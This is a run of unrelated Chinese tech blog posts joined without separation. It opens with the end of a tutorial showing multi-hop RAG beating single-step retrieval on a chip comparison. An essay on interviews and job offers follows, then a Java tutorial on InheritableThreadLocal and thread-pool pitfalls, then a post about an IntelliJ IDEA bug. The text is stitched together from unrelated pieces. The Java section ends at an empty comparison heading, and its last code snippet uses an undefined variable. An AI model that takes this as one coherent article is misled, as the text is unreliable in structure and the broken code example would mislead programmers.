print("- Reason: The user's query contained terms for both products. Vector search found the documents that were, on average, most semantically similar to the entire query, retrieving only documents about the Eco-AI-M2. It completely failed to retrieve any information about the QLeap-V4. Without the necessary context for both products, a comparison was impossible.\n")
print("**Multi-Hop RAG Performance:**")
print("- Result: COMPLETE SUCCESS.")
print("- Reason: The system's intelligence was in the initial decomposition step. The Meta-Agent broke the complex comparative query into two simple, focused sub-questions: 1. Get info on Product A. and 2. Get info on Product B. The parallel Retrieval Agents had no trouble answering these simple questions, each retrieving the correct, focused context. The final Synthesizer agent then received a perfect, complete set of facts about both products, making the final comparison trivial.")

输出为……

#### 输出 ####
============================================================
                  SIMPLE RAG SYSTEM OUTPUT
============================================================

Final Answer:
Based on the provided context, the Eco-AI-M2 chip is designed for edge computing and mobile devices, with a primary feature of low power consumption at only 15W under full load. The context does not contain information about the QLeap-V4, so I cannot provide a comparison.

============================================================
                 MULTI-HOP RAG SYSTEM OUTPUT
============================================================
--- Sub-Question Answers ---
1. Q: What is the target use case and power consumption of the QLeap-V4?
   A: The QLeap-V4 processor is designed for maximum performance in data centers, with a primary use case of large-scale AI model training. It consumes 1200W of power under full load.
2. Q: What is the target use case and power consumption of the Eco-AI-M2?
   A: The Eco-AI-M2 chip is designed for edge computing and mobile devices like drones and smart cameras. Its key feature is low power consumption, drawing only 15W under full load.
--- Final Synthesized Answer ---
The QLeap-V4 and the Eco-AI-M2 are designed for very different purposes, primarily distinguished by their target use case and power consumption.
-   **QLeap-V4**: This is a high-performance processor intended for data centers. Its main use case is large-scale AI model training, and it has a high power consumption of 1200W.
-   **Eco-AI-M2**: This is a low-power chip designed for edge computing and mobile devices. Its focus is on energy efficiency, consuming only 15W, making it suitable for applications like drones and smart cameras.

最终分析得出明确结论，性能差异并非渐进式，而是一次能力上的飞跃。

• 单次检索步骤无法解决比较查询歧义，仅检索了两个产品中的一个上下文，从根本上无法收集必要的证据。
• 多跳系统之所以成功，是因为没有试图一次性回答复杂问题，而是识别了查询的比较性质，并将问题分解。
• 通过并行、专注的 RAG 代理来解决每个简单的子问题，确保收集了所有必要证据，最后的综合步骤只是简单的将预先处理的事实结合起来。

Hi，我是俞凡，一名兼具技术深度与管理视野的技术管理者。曾就职于 Motorola，现任职于 Mavenir，多年带领技术团队，聚焦后端架构与云原生，持续关注 AI 等前沿方向，也关注人的成长，笃信持续学习的力量。在这里，我会分享技术实践与思考。欢迎关注公众号「DeepNoMind」，星标不迷路。也欢迎访问独立站 www.DeepNoMind.com，一起交流成长。

本文由mdnice多平台发布

最近看到一个职场社区帖子，吐槽了一个关于面试和 offer 的相关话题，参与讨论的同学非常多。

问题描述差不多是这样：

“我发现凡是给 offer 的公司，面试时基本不问技术细节，那些问得又多又细的公司，后面基本就没下文了……”

那关于这个问题，不知道大家有没有类似的体验或者经历？

你信心满满地去一家公司，面试官是个看起来技术大拿模样的人，一上来就给你整了个高并发场景下的分布式锁实现，问你 JVM 调优的十八般武艺，甚至还要跟你探讨一下 Linux 内核的源码细节。

你虽然答得满头大汗，但自我感觉还不错，仿佛自己把毕生所学都展示出来了。

但是最后结果呢？客气地送你一句等通知，然后便石沉大海。或者回去等了个三五天、一个星期，最后等来的是一句冰冷的不合适。

而反观另外一些面试经历，你可能就是抱着去溜达一圈的心态去转转的，面试让你感觉像在聊天，聊聊项目，聊聊过往经历，聊聊技术。

你心里还在犯嘀咕，没了？就这？

结果第二天，HR 就打电话过来找你谈薪，然后询问入职时间，速度快得让你怀疑人生。

看到这里，你是不是也挺疑惑，这到底是为什么？

难道某些公司就爱玩反向筛选？还是说问技术细节本身就是一种送客的委婉方式？这背后到底有没有什么可以遵循的逻辑原理可以分析分析。

所以今天咱们也用一篇文章的篇幅来聊一聊这个话题，也欢迎大家分享交流自己的观点和看法。

对于那些问得又细又深，最后却没给 offer 的，往往有这么几种情况。

第一种，也是最现实、最常见的大环境筛选。

什么意思呢？

现在的求职大环境大家也知道，岗位有限，候选人太多。HR 和面试官手里攥着一堆 985、211 甚至大厂背景的简历。

简单点说，他们不缺候选人，所以他们有资格挑。

对于中间段位的候选人，也就是我们大多数普通人，他们不需要看你有多优秀，只需要找出你简历里的一个瑕疵，一个技术细节没答上来，或许就有可能会把你刷掉。毕竟对于他们来说，能选择的太多。

其次，还有一个比较现实的问题是，对于那些问得细的公司，不代表真的招人。

当一个团队实际并不缺人，或者只是抱着宁缺毋滥的心态在招人时，他们就有资本去挑刺。

这时候面试官常常带着一种找漏洞的心态。他们的问题像一张细密的筛网，目的似乎不是看你有多合适，而是为了证明你哪里不合适。

说实话，这种还是挺恶心的。

第三种，也是最最扎心的一种情况：你只是他们的「免费咨询顾问」。

更直白一点说就是在套方案。

现在的行情下，很多公司业务停滞，不怎么招人，但又面临一些棘手的技术难题。

他们打着招聘的旗号，实际上是把市场上优秀的工程师请过来，所谓的面试其实也就是一场免费的头脑风暴。他们会故意引导你去讲你上一家公司的架构设计、服务拆分方案、甚至是具体的排错思路。

整个面试过程你自认为胸有成竹，方案和思路也讲得滔滔不绝，殊不知，人家还另有企图呢。

有一说一，这种是最最恶心的一种情况。

而对于那些问得不多、但 offer 倒是给的挺痛快的公司，通常又是怎么回事呢？

首先，这往往意味着这个公司是「真·缺人」呐。

这种公司通常处于一种“生死存亡”或者业务极速扩张的阶段。老板或者团队负责人可能已经被缺人折磨得寝食难安了。

他们的核心诉求非常明确：找个能立刻干活、能立刻上手的人。

这时候，他们不会跟你去扯什么虚头巴脑的设计模式，更不会去考你那些冷门的技术知识。

他们关心的是：你能不能明天就来上班，你能不能把这个烂摊子代码接过去维护，你能不能抗住连续一个月的强度。

在这种极度的需求面前，所谓的技术细节反倒成了次要的。

但是说实话，这种 offer 虽然来得容易，但兄弟记住，这往往也是把双刃剑。

因为“真·缺人”的背后，往往意味着技术债巨多、管理混乱，或者是一个谁都不愿意接的坑。

拿到这种 offer，你既可能是一飞冲天的救世主，也有可能是一头扎进泥潭的接盘侠。

当然，还有一种情况，虽然不那么好听，但也必须提一嘴。

那就是，有些公司其实是在广撒网。他们可能并没有确切的 HC，或者他们需要的只是一个廉价的劳动力。

对于这种公司，问太多技术细节反而会吓跑你，他们更希望用更轻松的面试体验和更高薪的承诺来把你招进去，至于技术匹配度嘛，额……那是入职以后的事情了。

文章的最后我想说的是，面试是一个双向选择的过程，也是一个互相试探的过程。

当你遇到那个问得特别细的面试官时，别急着心里骂娘，也别急着觉得自己没戏了。你可以试着把这场技术拷问变成一场技术交流。

如果对方是在套方案，你可以适当保留，点到为止；如果对方是真的在考察技术深度，那正好展示你的技术功底。

而当你遇到那个聊两句就给 offer 的公司时，也别急着狂喜。

可以多问问团队现状，问问业务体量，问问技术栈，这时候，一定要记住，你该反问的要反问，该考察的要考察。

因为虽说大环境寒冷，但是我觉得找到一个不坑的公司有时候比拿到一个所谓的 offer 更加重要，大家觉得呢？

好了，今天就先聊这么多吧，希望能对大家有所启发，我们下篇见。

注：本文在GitHub开源仓库「编程之路」 https://github.com/rd2coding/Road2Coding 中已经收录，里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记，以及程序员生活和感悟，欢迎star。

InheritableThreadLocal相比ThreadLocal多一个能力：在创建子线程Thread时，子线程Thread会自动继承父线程的InheritableThreadLocal信息到子线程中，进而实现在在子线程获取父线程的InheritableThreadLocal值的目的。

关于ThreadLocal详细内容，可以看这篇文章：史上最全ThreadLocal 详解

和 ThreadLocal 的区别

举个简单的栗子对比下InheritableThreadLocal和ThreadLocal：

public class InheritableThreadLocalTest {    
    private static final ThreadLocal<String> threadLocal = new ThreadLocal<>();    
    private static final InheritableThreadLocal<String> inheritableThreadLocal = new InheritableThreadLocal<>();    

    public static void main(String[] args) {        
        testThreadLocal();        
        testInheritableThreadLocal();    
    }    

    /**     * threadLocal测试     */    
    public static void testThreadLocal() {       
         // 在主线程中设置值到threadLocal        
         threadLocal.set("我是父线程threadLocal的值");        
         // 创建一个新线程并启动        
         new Thread(() -> {            
                 // 在子线程里面无法获取到父线程设置的threadLocal，结果为null            
                 System.out.println("从子线程获取到threadLocal的值: " + threadLocal.get());           }
         ).start();    
     }    
 
     /**     * inheritableThreadLocal测试     */  
    public static void testInheritableThreadLocal() {        
        // 在主线程中设置一个值到inheritableThreadLocal        
        inheritableThreadLocal.set("我是父线程inheritableThreadLocal的值");        
        // 创建一个新线程并启动        
        new Thread(() -> {            
                // 在子线程里面可以自动获取到父线程设置的inheritableThreadLocal    
                System.out.println("从子线程获取到inheritableThreadLocal的值: " + inheritableThreadLocal.get());        
            }).start();    
        }
    }

执行结果：

从子线程获取到threadLocal的值:null
从子线程获取到inheritableThreadLocal的值:我是父线程inheritableThreadLocal的值

可以看到子线程中可以获取到父线程设置的inheritableThreadLocal值，但不能获取到父线程设置的threadLocal值

实现原理

InheritableThreadLocal 的实现原理相当精妙，它通过在创建子线程的瞬间，“复制”父线程的线程局部变量，从而实现了数据从父线程到子线程的一次性、创建时的传递 。

其核心工作原理可以清晰地通过以下序列图展示，它描绘了当父线程创建一个子线程时，数据是如何被传递的：

sequenceDiagram
    participant Parent as 父线程
    participant Thread as Thread构造方法
    participant ITL as InheritableThreadLocal
    participant ThMap as ThreadLocalMap
    participant Child as 子线程

    Parent->>Thread: 创建 new Thread()
    Note over Parent,Thread: 关键步骤：初始化
    Thread->>Thread: 调用 init() 方法
    Note over Thread,ITL: 检查父线程的 inheritableThreadLocals
    Thread->>+ThMap: createInheritedMap(<br/>parent.inheritableThreadLocals)
    ThMap->>ThMap: 新建一个ThreadLocalMap
    loop 遍历父线程Map中的每个Entry
        ThMap->>+ITL: 调用 key.childValue(parentValue)
        ITL-->>-ThMap: 返回子线程初始值<br/>(默认返回父值，可重写)
        ThMap->>ThMap: 将 (key, value) 放入新Map
    end
    ThMap-->>-Thread: 返回新的ThreadLocalMap对象
    Thread->>Child: 将新Map赋给子线程的<br/>inheritableThreadLocals属性
    Note over Child: 子线程拥有父线程变量的副本

下面我们来详细拆解图中的关键环节。

### 核心实现机制

1. **数据结构基础：Thread类内部维护了两个 ThreadLocalMap类型的变量 ：

   • threadLocals：用于存储普通 ThreadLocal设置的变量副本。
   • inheritableThreadLocals：专门用于存储 InheritableThreadLocal设置的变量副本 。InheritableThreadLocal通过重写 getMap和 createMap方法，使其所有操作都针对 inheritableThreadLocals字段，从而与普通 ThreadLocal分离开 。
2. 继承触发时刻：子线程的创建。继承行为发生在子线程被创建（即执行 new Thread()）时。在 Thread类的 init方法中，如果判断需要继承（inheritThreadLocals参数为 true）且父线程（当前线程）的 inheritableThreadLocals不为 null，则会执行复制逻辑 。

3. 复制过程的核心：createInheritedMap。这是实现复制的核心方法 。它会创建一个新的 ThreadLocalMap，并将父线程 inheritableThreadLocals中的所有条目遍历拷贝到新 Map 中。

   • Key的复制：Key（即 InheritableThreadLocal对象本身）是直接复制的引用。
   • Value的生成：Value 并非直接复制引用，而是通过调用 InheritableThreadLocal的 childValue(T parentValue)方法来生成子线程中的初始值。默认实现是直接返回父值（return parentValue;），这意味着对于对象类型，父子线程将共享同一个对象引用 。

关键特性与注意事项

1. 创建时复制，后续独立：继承只发生一次，即在子线程对象创建的瞬间。此后，父线程和子线程对各自 InheritableThreadLocal变量的修改互不影响 。
2. 在线程池中的局限性：这是 InheritableThreadLocal最需要警惕的问题。线程池中的线程是复用的，这些线程在首次创建时可能已经从某个父线程继承了值。但当它们被用于执行新的任务时，新的任务提交线程（逻辑上的“父线程”）与工作线程已无直接的创建关系，因此之前继承的值不会更新，这会导致数据错乱（如用户A的任务拿到了用户B的信息）或内存泄漏​ 。对于线程池场景，应考虑使用阿里开源的 TransmittableThreadLocal (TTL)​ 。
3. 浅拷贝与对象共享：由于 childValue方法默认是浅拷贝，如果存入的是可变对象（如 Map、List），父子线程实际持有的是同一个对象的引用。在一个线程中修改该对象的内部状态，会直接影响另一个线程 。若需隔离，可以重写 childValue方法实现深拷贝 。
4. 内存泄漏风险：与 ThreadLocal类似，如果线程长时间运行（如线程池中的核心线程），并且未及时调用 remove方法清理，那么该线程的 inheritableThreadLocals会一直持有值的强引用，导致无法被GC回收。良好的实践是在任务执行完毕后主动调用 remove()

线程池中局限性

一般来说，在真实的业务场景下，没人会直接 new Thread，而都是使用线程池的，因此InheritableThreadLocal在线程池中的使用局限性要额外注意

首先，我们先理解 InheritableThreadLocal的继承前提

• InheritableThreadLocal的继承只发生在 新线程被创建时（即 new Thread()并启动时）。在创建过程中，子线程会复制父线程的 InheritableThreadLocal值。
• 在线程池中，线程是预先创建或按需创建的，并且会被复用。因此，继承只会在线程池创建新线程时发生，而不会在复用现有线程时发生。

再看线程池创建新线程的条件，对于标准的 ThreadPoolExecutor，新线程的创建遵循以下规则：

1. 当前线程数 < 核心线程数：当提交新任务时，如果当前运行的线程数小于核心线程数，即使有空闲线程，线程池也会创建新线程来处理任务。此时，新线程会继承父线程（提交任务的线程）的 InheritableThreadLocal。
2. 当前线程数 >= 核心线程数 && 队列已满 && 线程数 < 最大线程数：当任务队列已满，且当前线程数小于最大线程数时，线程池会创建新线程来处理任务。同样，新线程会继承父线程的 InheritableThreadLocal。

不会继承的场景

• 线程复用：当线程池中有空闲线程时（例如，当前线程数 >= 核心线程数，但队列未满），任务会被分配给现有线程执行。此时，没有新线程创建，因此不会发生继承。现有线程的 InheritableThreadLocal值保持不变（可能是之前任务设置的值），这可能导致数据错乱（如用户A的任务看到用户B的数据）。
• 线程数已达最大值：如果线程数已达最大线程数，且队列已满，新任务会被拒绝（根据拒绝策略），也不会创建新线程，因此不会继承。

不只是线程池污染，线程池使用 InheritableThreadLocal 还可能存在获取不到值的情况。例如，在执行异步任务的时候，复用了某个已有的线程A，并且当时创建该线程A的时候，没有继承InheritableThreadLocal，进而导致后面复用该线程的时候，从InheritableThreadLocal获取到的值为null：

public class InheritableThreadLocalWithThreadPoolTest {    
    private static final InheritableThreadLocal<String> inheritableThreadLocal = new InheritableThreadLocal<>();    
    // 这里线程池core/max数量都只有2    
    private static final ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(            
        2,            
        2,            
        0L,            
        TimeUnit.MILLISECONDS,            
        new LinkedBlockingQueue<Runnable>(3000),            
        new ThreadPoolExecutor.CallerRunsPolicy()    
    );    
    
    public static void main(String[] args) {        
    // 先执行了不涉及InheritableThreadLocal的子任务初始化线程池线程 
           testAnotherFunction();        
           testAnotherFunction();        
           // 后执行了涉及InheritableThreadLocal
           testInheritableThreadLocalWithThreadPool("张三");        
           testInheritableThreadLocalWithThreadPool("李四");        
           threadPoolExecutor.shutdown();    
     }    
     
     /**     * inheritableThreadLocal+线程池测试     */    
        public static void testInheritableThreadLocalWithThreadPool(String param) {        
            // 1. 在主线程中设置一个值到inheritableThreadLocal        
             inheritableThreadLocal.set(param);        
            // 2. 提交异步任务到线程池        
            threadPoolExecutor.execute(() -> {            
            // 3. 在线程池-子线程里面可以获取到父线程设置的inheritableThreadLocal吗？            
                System.out.println("线程名: " + Thread.currentThread().getName() + ", 父线程设置的inheritableThreadLocal值: " + param + ", 子线程获取到inheritableThreadLocal的值: " + inheritableThreadLocal.get());        
            });        
            // 4. 清除inheritableThreadLocal        
            inheritableThreadLocal.remove();    
       }    
                   
       /**     * 模拟另一个独立的功能     */   
       public static void testAnotherFunction() {        
           // 提交异步任务到线程池        
           threadPoolExecutor.execute(() -> {            
           // 在线程池-子线程里面可以获取到父线程设置的inheritableThreadLocal吗？            
               System.out.println("线程名: " + Thread.currentThread().getName() + ", 线程池-子线程摸个鱼");        
           });    
       }
}

执行结果：

线程名:pool-1-thread-2,线程池-子线程摸个鱼
线程名:pool-1-thread-1,线程池-子线程摸个鱼
线程名:pool-1-thread-1,父线程设置的inheritableThreadLocal值:李四，子线程获取到inheritableThreadLocal的值:null
线程名:pool-1-thread-2,父线程设置的inheritableThreadLocal值:张三，子线程获取到inheritableThreadLocal的值:null

当然了，解决这个问题可以考虑使用阿里开源的 TransmittableThreadLocal (TTL)，​或者在提交异步任务前，先获取线程数据，再传入。例如：

// 1. 在主线程中先获取inheritableThreadLocal的值
String name = inheritableThreadLocal.get();    
    
// 2. 提交异步任务到线程池        
threadPoolExecutor.execute(() -> {            
// 3. 在线程池-子线程里面直接传入数据  
System.out.println("线程名: " + Thread.currentThread().getName() + ", 父线程设置的inheritableThreadLocal值: " + param + ", 子线程获取到inheritableThreadLocal的值: " + name);        
            });        

与 ThreadLocal 的对比

大家好，我是R哥。

话说我昨天不是发了《IDEA 出现重大 Bug！不要升级！不要升级！》这篇文章吗？

今天上午就收到了某同学的反馈：

今天确实也收到 IDEA 2025.3.1.1 版本的更新了：

难道 IntelliJ IDEA 连夜就修复了我这个 BUG？？

这也太巧了吧？！

抱着预期的心情更新了 2025.3.1.1，结局让我有点失望，还是那样。。

删除各种缓存，试了各种方法都没有用，就差重装了（估计也没用），社区一堆的 BUG 贴都还是 OPEN 状态呢。

于是我去查了 2025.3.1.1 的更新说明：

https://youtrack.jetbrains.com/articles/IDEA-A-2100662602/Int...

确实修复了几个大 BUG，包括 IDEA 2025.3.1 打开大 Maven 项目时会卡死的问题也修复了，但弹窗空白这个 BUG 并没有涵盖其中。。

似乎官方是解决不了这个 BUG？

这个问题在 24.2.5 版本后就开始出现了，一直都没有解决，一个这么重大的 BUG 拖了这么久不修复，着实难以理解！

先勉强用着吧，后面如果官方修了，或者有绕过方案，我也会第一时间再跟大家同步。

好了，今天的分享就到这里了，后面我也会分享更多好玩的 Java 技术和最新的技术资讯，关注Java技术栈第一时间推送。

版权声明： 本文系公众号 "Java技术栈" 原创，转载、引用本文内容请注明出处，抄袭、洗稿一律投诉侵权，后果自负，并保留追究其法律责任的权利。